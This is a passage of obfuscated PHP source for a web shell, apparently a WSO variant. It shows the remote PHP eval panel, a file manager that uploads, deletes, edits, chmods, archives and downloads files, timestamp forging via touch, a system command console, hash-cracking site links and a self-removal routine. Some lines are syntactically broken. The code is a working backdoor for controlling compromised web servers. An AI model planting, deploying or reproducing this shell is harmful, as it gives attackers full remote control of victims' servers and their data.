$pzqbcgvvszz = preg_replace(array(
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
//'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array(
'',
//'.e, .v, .h, .h th {$1}',
'',
), $pzqbcgvvszz);
echo str_replace('<h1', '<h2', $pzqbcgvvszz) . '</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['rmiw']) ? htmlspecialchars($_POST['rmiw']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['rmiw']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
if (!empty($_POST['rmiw'])) {
ob_start();
eval($_POST['rmiw']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
xfqhg();
}
function actionFilesMan() {
if (!empty($_COOKIE['vmun'])) {
$_COOKIE['vmun'] = @unserialize($_COOKIE['vmun']);
}
if (!empty($_POST['rmiw'])) {
switch ($_POST['rmiw']) {
case 'uploadFile':
if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
echo "Can't upload file!";
}
break;
case 'mkdir':
if (!@mkdir($_POST['tpjgri'])) {
echo "Can't create new dir";
}
break;
case 'delete':
function phjdnjw($tpfjpueuw) {
$tpfjpueuw = (substr($tpfjpueuw, -1) == '/') ? $tpfjpueuw : $tpfjpueuw . '/';
$cexgtdoys = opendir($tpfjpueuw);
while (($ttuhzu = readdir($cexgtdoys)) !== false) {
$ttuhzu = $tpfjpueuw . $ttuhzu;
if ((basename($ttuhzu) == "..") || (basename($ttuhzu) == )) {
continue;
}
$ugcncknn = filetype($ttuhzu);
if ($ugcncknn == "dir") {
phjdnjw($ttuhzu);
} else {
@unlink($ttuhzu);
}
}
closedir($cexgtdoys);
@rmdir($tpfjpueuw);
}
if (is_array(@$_POST['f'])) {
foreach ($_POST['f'] as $iudntl) {
if ($iudntl == '..') {
continue;
}
$iudntl = urldecode($iudntl);
if (is_dir($iudntl)) {
phjdnjw($iudntl);
} else {
@unlink($iudntl);
}
}
}
break;
case 'paste':
if ($_COOKIE['mmhh'] == 'copy') {
function jbbofs($dkwegpnkmc, $hoyhxqm, $lmkcdwq) {
if (is_dir($dkwegpnkmc . $hoyhxqm)) {
mkdir($lmkcdwq . $hoyhxqm);
$vuqazyu = @opendir($dkwegpnkmc . $hoyhxqm);
while (($iudntl = @readdir($vuqazyu)) !== false) {
if (($iudntl != ) and ($iudntl != "..")) {
jbbofs($dkwegpnkmc . $hoyhxqm . '/', $iudntl, $lmkcdwq . $hoyhxqm . '/');
}
}
} elseif (is_file($dkwegpnkmc . $hoyhxqm)) {
@copy($dkwegpnkmc . $hoyhxqm, $lmkcdwq . $hoyhxqm);
}
}
foreach ($_COOKIE['vmun'] as $iudntl) {
jbbofs($_COOKIE['ftlh'], $iudntl, $GLOBALS['jvszqsidkexn']);
}
} elseif ($_COOKIE['mmhh'] == 'move') {
function xayxt($dkwegpnkmc, $hoyhxqm, $lmkcdwq) {
if (is_dir($dkwegpnkmc . $hoyhxqm)) {
mkdir($lmkcdwq . $hoyhxqm);
$vuqazyu = @opendir($dkwegpnkmc . $hoyhxqm);
while (($iudntl = @readdir($vuqazyu)) !== false) {
if (($iudntl != ) and ($iudntl != "..")) {
jbbofs($dkwegpnkmc . $hoyhxqm . '/', $iudntl, $lmkcdwq . $hoyhxqm . '/');
}
}
} elseif (@is_file($dkwegpnkmc . $hoyhxqm)) {
@copy($dkwegpnkmc . $hoyhxqm, $lmkcdwq . $hoyhxqm);
}
}
foreach ($_COOKIE['vmun'] as $iudntl) {
@rename($_COOKIE['ftlh'] . $iudntl, $GLOBALS['jvszqsidkexn'] . $iudntl);
}
} elseif ($_COOKIE['mmhh'] == 'zip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['tpjgri'], 1)) {
chdir($_COOKIE['ftlh']);
foreach ($_COOKIE['vmun'] as $iudntl) {
if ($iudntl == '..') {
continue;
}
if (@is_file($_COOKIE['ftlh'] . $iudntl)) {
$zip->addFile($_COOKIE['ftlh'] . $iudntl, $iudntl);
} elseif (@is_dir($_COOKIE['ftlh'] . $iudntl)) {
$onyffkvunhhk = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($iudntl . '/', FilesystemIterator::SKIP_DOTS));
foreach ($onyffkvunhhk as $rkbvybzxz => $fnbogwexjyn) {
$zip->addFile(realpath($rkbvybzxz), $rkbvybzxz);
}
}
}
chdir($GLOBALS['jvszqsidkexn']);
$zip->close();
}
}
} elseif ($_COOKIE['mmhh'] == 'unzip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach ($_COOKIE['vmun'] as $iudntl) {
if ($zip->open($_COOKIE['ftlh'] . $iudntl)) {
$zip->extractTo($GLOBALS['jvszqsidkexn']);
$zip->close();
}
}
}
} elseif ($_COOKIE['mmhh'] == 'tar') {
chdir($_COOKIE['ftlh']);
$_COOKIE['vmun'] = array_map('escapeshellarg', $_COOKIE['vmun']);
pqmrw('tar cfzv ' . escapeshellarg($_POST['tpjgri']) . ' ' . implode(' ', $_COOKIE['vmun']));
chdir($GLOBALS['jvszqsidkexn']);
}
unset($_COOKIE['vmun']);
setcookie('vmun', '', time() - 3600);
break;
default:
if (!empty($_POST['rmiw'])) {
zalvtn('mmhh', $_POST['rmiw']);
zalvtn('vmun', serialize(@$_POST['f']));
zalvtn('ftlh', @$_POST['tlda']);
}
break;
}
}
fmqpmzie();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$mduhzicfb = zsjkdazet(isset($_POST['tlda']) ? $_POST['tlda'] : $GLOBALS['jvszqsidkexn']);
if ($mduhzicfb === false) {
echo 'Can\'t open this folder!';
xfqhg();
return;
}
global $kwldjvpwn;
$kwldjvpwn = array('name', 1);
if (!empty($_POST['rmiw'])) {
if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['rmiw'], $lqpndatlvh)) {
$kwldjvpwn = array($lqpndatlvh[1], (int)$lqpndatlvh[2]);
}
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($kwldjvpwn[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($kwldjvpwn[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($kwldjvpwn[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($kwldjvpwn[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
$ljowtjonynur = $klmnps = array();
$ivaauqzrry = count($mduhzicfb);
for ($akdbbejpogx = 0; $akdbbejpogx < $ivaauqzrry; $akdbbejpogx++) {
$trbkxqes = @posix_getpwuid(@fileowner($mduhzicfb[$akdbbejpogx]));
$jixhbnag = @posix_getgrgid(@filegroup($mduhzicfb[$akdbbejpogx]));
$pzqbcgvvszz = array(
'name' => $mduhzicfb[$akdbbejpogx],
'path' => $GLOBALS['jvszqsidkexn'] . $mduhzicfb[$akdbbejpogx],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['jvszqsidkexn'] . $mduhzicfb[$akdbbejpogx])),
'perms' => hmwcr($GLOBALS['jvszqsidkexn'] . $mduhzicfb[$akdbbejpogx]),
'size' => @filesize($GLOBALS['jvszqsidkexn'] . $mduhzicfb[$akdbbejpogx]),
'owner' => $trbkxqes['name'] ? $trbkxqes['name'] : @fileowner($mduhzicfb[$akdbbejpogx]),
'group' => $jixhbnag['name'] ? $jixhbnag['name'] : @filegroup($mduhzicfb[$akdbbejpogx])
);
if (@is_file($GLOBALS['jvszqsidkexn'] . $mduhzicfb[$akdbbejpogx])) {
$klmnps[] = array_merge($pzqbcgvvszz, array('type' => 'file'));
} elseif (@is_link($GLOBALS['jvszqsidkexn'] . $mduhzicfb[$akdbbejpogx])) {
$ljowtjonynur[] = array_merge($pzqbcgvvszz, array('type' => 'link', 'link' => readlink($pzqbcgvvszz['path'])));
} elseif (@is_dir($GLOBALS['jvszqsidkexn'] . $mduhzicfb[$akdbbejpogx])) {
$ljowtjonynur[] = array_merge($pzqbcgvvszz, array('type' => 'dir'));
}
}
$GLOBALS['kwldjvpwn'] = $kwldjvpwn;
function vixekvy($muzkbsumz, $lltbsolup) {
if ($GLOBALS['kwldjvpwn'][0] != 'size') {
return strcmp(strtolower($muzkbsumz[$GLOBALS['kwldjvpwn'][0]]), strtolower($lltbsolup[$GLOBALS['kwldjvpwn'][0]])) * ($GLOBALS['kwldjvpwn'][1] ? 1 : -1);
} else {
return (($muzkbsumz['size'] < $lltbsolup['size']) ? -1 : 1) * ($GLOBALS['kwldjvpwn'][1] ? 1 : -1);
}
}
usort($klmnps, "vixekvy");
usort($ljowtjonynur, "vixekvy");
$klmnps = array_merge($ljowtjonynur, $klmnps);
$vlcpjwffwiii = 0;
foreach ($klmnps as $iudntl) {
echo '<tr' . ($vlcpjwffwiii ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($iudntl['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($iudntl['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($iudntl['name']) . '\', \'view\')">' . htmlspecialchars($iudntl['name']) : 'g(\'FilesMan\',\'' . $iudntl['path'] . '\');" ' . (empty($iudntl['link']) ? '' : "title='{$iudntl['link']}'") . '><b>[ ' . htmlspecialchars($iudntl['name']) . ' ]</b>') . '</a></td><td>' . (($iudntl['type'] == 'file') ? ubjytqm($iudntl['size']) : $iudntl['type']) . '</td><td>' . $iudntl['modify'] . '</td><td>' . $iudntl['owner'] . '/' . $iudntl['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($iudntl['name']) . '\',\'chmod\')">' . $iudntl['perms']
. '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($iudntl['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($iudntl['name']) . '\', \'touch\')">T</a>' . (($iudntl['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($iudntl['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($iudntl['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
$vlcpjwffwiii = $vlcpjwffwiii ? 0 : 1;
}
echo "<tr><td colspan=7>
<input type=hidden name=badr value='" . mzwdpxtwv('FilesMan') . "'>
<input type=hidden name=tlda value='" . mzwdpxtwv(htmlspecialchars($GLOBALS['jvszqsidkexn'])) . "'>
<input type=hidden name=omou value='" . (isset($_POST['omou']) ? $_POST['omou'] : '') . "'>
<select name='rmiw'><option value='" . mzwdpxtwv('copy') . "'>Copy</option><option value='" . mzwdpxtwv('move') . "'>Move</option><option value='" . mzwdpxtwv('delete') . "'>Delete</option>";
if (class_exists('ZipArchive')) {
echo "<option value='" . mzwdpxtwv('zip') . "'>Compress (zip)</option><option value='" . mzwdpxtwv('unzip') . "'>Uncompress (zip)</option>";
}
echo "<option value='" . mzwdpxtwv('tar') . "'>Compress (tar.gz)</option>";
if (!empty($_COOKIE['mmhh']) && (isset($_COOKIE['vmun']) && !empty($_COOKIE['vmun']))) {
echo "<option value='" . mzwdpxtwv('paste') . "'>Paste / Compress</option>";
}
echo "</select> ";
if (!empty($_COOKIE['mmhh']) && (isset($_COOKIE['vmun']) && !empty($_COOKIE['vmun'])) && (($_COOKIE['mmhh'] == 'zip') || ($_COOKIE['mmhh'] == 'tar'))) {
$xnuoxq = "wso_" . date("Ymd_His") . . ($_COOKIE['mmhh'] == 'zip' ? 'zip' : 'tar.gz');
echo "file name: <input type=text name=p2 value='" . mzwdpxtwv($xnuoxq) . "'> ";
}
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
xfqhg();
}
function actionStringTools() {
if (!function_exists('hex2bin')) {
function hex2bin($togfnh) {
return decbin(hexdec($togfnh));
}
}
if (!function_exists('binhex')) {
function zthtyuzbr($togfnh) {
return dechex(bindec($togfnh));
}
}
if (!function_exists('hex2ascii')) {
function tjhpcqan($togfnh) {
$fzrqwr = '';
for ($akdbbejpogx = 0; $akdbbejpogx < strLen($togfnh); $akdbbejpogx += 2) {
$fzrqwr .= chr(hexdec($togfnh[$akdbbejpogx] . $togfnh[$akdbbejpogx + 1]));
}
return $fzrqwr;
}
}
if (!function_exists('ascii2hex')) {
function oebkoxfhw($togfnh) {
$fzrqwr = '';
for ($akdbbejpogx = 0; $akdbbejpogx < strlen($togfnh); ++$akdbbejpogx) {
$fzrqwr .= sprintf('%02X', ord($togfnh[$akdbbejpogx]));
return strtoupper($fzrqwr);
}
}
}
if (!function_exists('full_urlencode')) {
function bpofnz($togfnh) {
$fzrqwr = '';
for ($akdbbejpogx = 0; $akdbbejpogx < strlen($togfnh); ++$akdbbejpogx) {
$fzrqwr .= '%' . dechex(ord($togfnh[$akdbbejpogx]));
return strtoupper($fzrqwr);
}
}
}
$lpjncwbfuuvb = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if (isset($_POST['mwuyb'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
if (in_array($_POST['rmiw'], $lpjncwbfuuvb)) {
echo $_POST['rmiw']($_POST['tpjgri']);
}
$sbysrgqzhh = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($sbysrgqzhh), "\n", $sbysrgqzhh;
exit;
}
if (empty($_POST['mwuyb']) && !empty($_POST['rmiw'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
fmqpmzie();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach ($lpjncwbfuuvb as $bsizjxcqjev => $pvsncdtdmweu) {
echo "<option value='" . htmlspecialchars($pvsncdtdmweu) . "'>" . $bsizjxcqjev . "</option>";
}
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['rmiw']) ? '' : htmlspecialchars(@$_POST['tpjgri'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['rmiw']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
if (!empty($_POST['rmiw'])) {
if (in_array($_POST['rmiw'], $lpjncwbfuuvb)) {
echo htmlspecialchars($_POST['rmiw']($_POST['tpjgri']));
}
}
echo "</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['jvszqsidkexn']) . "' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function iylwpboce($tpfjpueuw) {
if (substr($tpfjpueuw, -1) != '/') {
$tpfjpueuw .= '/';
}
$jjunel = @array_unique(@array_merge(@glob($tpfjpueuw . $_POST['mnarki']), @glob($tpfjpueuw . '*', GLOB_ONLYDIR)));
if (is_array($jjunel) && @count($jjunel)) {
foreach ($jjunel as $ttuhzu) {
if (@is_dir($ttuhzu)) {
if ($tpfjpueuw != $ttuhzu) {
iylwpboce($ttuhzu);
}
} else {
if (empty($_POST['tpjgri']) || @strpos(file_get_contents($ttuhzu), $_POST['tpjgri']) !== false) {
echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($ttuhzu) . "\", \"view\",\"\")'>" . htmlspecialchars($ttuhzu) . "</a><br>";
}
}
}
}
}
if (@$_POST['mnarki']) {
iylwpboce($_POST['tlda']);
}
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
xfqhg();
}
function actionFilesTools() {
if (isset($_POST['rmiw'])) {
$_POST['rmiw'] = urldecode($_POST['rmiw']);
}
if (@$_POST['tpjgri'] == 'download') {
if (@is_file($_POST['rmiw']) && @is_readable($_POST['rmiw'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=" . basename($_POST['rmiw']));
if (function_exists("mime_content_type")) {
$ugcncknn = @mime_content_type($_POST['rmiw']);
header("Content-Type: " . $ugcncknn);
} else {
header("Content-Type: application/octet-stream");
}
$zejibhwpeilc = @fopen($_POST['rmiw'], "r");
if ($zejibhwpeilc) {
while (!@feof($zejibhwpeilc)) {
echo @fread($zejibhwpeilc, 1024);
}
fclose($zejibhwpeilc);
}
}
exit;
}
if (@$_POST['tpjgri'] == 'mkfile') {
if (!file_exists($_POST['rmiw'])) {
$zejibhwpeilc = @fopen($_POST['rmiw'], 'w');
if ($zejibhwpeilc) {
$_POST['tpjgri'] = "edit";
fclose($zejibhwpeilc);
}
}
}
fmqpmzie();
echo '<h1>File tools</h1><div class=content>';
if (!file_exists(@$_POST['rmiw'])) {
echo 'File not exists';
xfqhg();
return;
}
$jwvuzarkskqc = @posix_getpwuid(@fileowner($_POST['rmiw']));
if (!$jwvuzarkskqc) {
$jwvuzarkskqc['name'] = @fileowner($_POST['rmiw']);
$ozpcos['name'] = @filegroup($_POST['rmiw']);
} else {
$ozpcos = @posix_getgrgid(@filegroup($_POST['rmiw']));
}
echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['rmiw'])) . ' <span>Size:</span> ' . (is_file($_POST['rmiw']) ? ubjytqm(filesize($_POST['rmiw'])) : '-') . ' <span>Permission:</span> ' . hmwcr($_POST['rmiw']) . ' <span>Owner/Group:</span> ' . $jwvuzarkskqc['name'] . '/' . $ozpcos['name'] . '<br>';
echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['rmiw'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['rmiw'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['rmiw'])) . '<br><br>';
if (empty($_POST['tpjgri'])) {
$_POST['tpjgri'] = 'view';
}
if (is_file($_POST['rmiw'])) {
$vkvhmqnkyni = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
} else {
$vkvhmqnkyni = array('Chmod', 'Rename', 'Touch');
}
foreach ($vkvhmqnkyni as $pvsncdtdmweu) {
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['rmiw']) . '\',\'' . strtolower($pvsncdtdmweu) . '\')">' . ((strtolower($pvsncdtdmweu) == @$_POST['tpjgri']) ? '<b>[ ' . $pvsncdtdmweu . ' ]</b>' : $pvsncdtdmweu) . '</a> ';
}
echo '<br><br>';
switch ($_POST['tpjgri']) {
case 'view':
echo '<pre class=ml1>';
$zejibhwpeilc = @fopen($_POST['rmiw'], 'r');
if ($zejibhwpeilc) {
while (!@feof($zejibhwpeilc)) {
echo htmlspecialchars(@fread($zejibhwpeilc, 1024));
}
@fclose($zejibhwpeilc);
}
echo '</pre>';
break;
case 'highlight':
if (@is_readable($_POST['rmiw'])) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$adfokbirslf = @highlight_file($_POST['rmiw'], true);
echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $adfokbirslf) . '</div>';
}
break;
case 'chmod':
if (!empty($_POST['mnarki'])) {
$gcjjmkjrmpzj = 0;
for ($akdbbejpogx = strlen($_POST['mnarki']) - 1; $akdbbejpogx >= 0; --$akdbbejpogx) {
$gcjjmkjrmpzj += (int)$_POST['mnarki'][$akdbbejpogx] * pow(8, (strlen($_POST['mnarki']) - $akdbbejpogx - 1));
}
if (!@chmod($_POST['rmiw'], $gcjjmkjrmpzj)) {
echo 'Can\'t set permissions!<br><script>document.hfcdu.p3.value="";</script>';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['rmiw']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['rmiw'])), -4) . '"><input type=submit value=">>"></form>';
break;
case 'edit':
if (!is_writable($_POST['rmiw'])) {
echo 'File isn\'t writeable';
break;
}
if (!empty($_POST['mnarki'])) {
$pvuall = @filemtime($_POST['rmiw']);
$_POST['mnarki'] = substr($_POST['mnarki'], 1);
$zejibhwpeilc = @fopen($_POST['rmiw'], "w");
if ($zejibhwpeilc) {
@fwrite($zejibhwpeilc, $_POST['mnarki']);
@fclose($zejibhwpeilc);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['rmiw'], $pvuall, $pvuall);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['rmiw']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$zejibhwpeilc = @fopen($_POST['rmiw'], 'r');
if ($zejibhwpeilc) {
while (!@feof($zejibhwpeilc)) {
echo htmlspecialchars(@fread($zejibhwpeilc, 1024));
}
@fclose($zejibhwpeilc);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$dkwegpnkmc = @file_get_contents($_POST['rmiw']);
$ivaauqzrry = 0;
$vuqazyu = array('00000000<br>', '', '');
$qwxknmd = strlen($dkwegpnkmc);
for ($akdbbejpogx = 0; $akdbbejpogx < $qwxknmd; ++$akdbbejpogx) {
$vuqazyu[1] .= sprintf('%02X', ord($dkwegpnkmc[$akdbbejpogx])) . ' ';
switch (ord($dkwegpnkmc[$akdbbejpogx])) {
case 0:
$vuqazyu[2] .= ' ';
break;
case 9:
$vuqazyu[2] .= ' ';
break;
case 10:
$vuqazyu[2] .= ' ';
break;
case 13:
$vuqazyu[2] .= ' ';
break;
default:
$vuqazyu[2] .= $dkwegpnkmc[$akdbbejpogx];
break;
}
$ivaauqzrry++;
if ($ivaauqzrry == 32) {
$ivaauqzrry = 0;
if ($akdbbejpogx + 1 < $qwxknmd) {
$vuqazyu[0] .= sprintf('%08X', $akdbbejpogx + 1) . '<br>';
}
$vuqazyu[1] .= '<br>';
$vuqazyu[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $vuqazyu[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $vuqazyu[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($vuqazyu[2]) . '</pre></td></tr></table>';
break;
case 'rename':
if (!empty($_POST['mnarki'])) {
if (!@rename($_POST['rmiw'], $_POST['mnarki'])) {
echo 'Can\'t rename!<br>';
} else {
die('<script>g(null,null,"' . urlencode($_POST['mnarki']) . '",null,"")</script>');
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['rmiw']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['rmiw']) . '"><input type=submit value=">>"></form>';
break;
case 'touch':
if (!empty($_POST['mnarki'])) {
$pvuall = strtotime($_POST['mnarki']);
if ($pvuall) {
if (!touch($_POST['rmiw'], $pvuall, $pvuall)) {
echo 'Fail!';
} else {
echo 'Touched!';
}
} else {
echo 'Bad time format!';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['rmiw']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['rmiw'])) . '"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
xfqhg();
}
function actionConsole() {
if (!empty($_POST['rmiw']) && !empty($_POST['tpjgri'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
$_POST['rmiw'] .= ' 2>&1';
} elseif (!empty($_POST['rmiw'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
}
if (isset($_POST['mwuyb'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
echo "d.cf.cmd.value='';\n";
$sbysrgqzhh = @iconv($_POST['omou'], 'UTF-8', addcslashes("\n$ " . $_POST['rmiw'] . "\n" . pqmrw($_POST['rmiw']), "\n\r\t\\'\0"));
if (preg_match("!.*cd\s+([^;]+)$!", $_POST['rmiw'], $lqpndatlvh)) {
if (@chdir($lqpndatlvh[1])) {
$GLOBALS['jvszqsidkexn'] = @getcwd();
echo "c_='" . $GLOBALS['jvszqsidkexn'] . "';";
}
}
echo "d.cf.output.value+='" . $sbysrgqzhh . "';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$sbysrgqzhh = ob_get_clean();
echo strlen($sbysrgqzhh), "\n", $sbysrgqzhh;
exit;
}
if (empty($_POST['mwuyb']) && !empty($_POST['rmiw'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
fmqpmzie();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach ($GLOBALS['woeeqxef'] as $ivaauqzrry => $pvsncdtdmweu) {
if ($pvsncdtdmweu == '') {
echo '<optgroup label="-' . htmlspecialchars($ivaauqzrry) . '-"></optgroup>';
continue;
}
echo '<option value="' . htmlspecialchars($pvsncdtdmweu) . '">' . $ivaauqzrry . '</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['tpjgri']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if (!empty($_POST['rmiw'])) {
echo htmlspecialchars("$ " . $_POST['rmiw'] . "\n" . pqmrw($_POST['rmiw']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
xfqhg();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if ($_POST['rmiw'] == 'yes') {
if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
die('Shell has been removed');
} else {
echo 'unlink error!';
}
}
if ($_POST['rmiw'] != 'yes') {
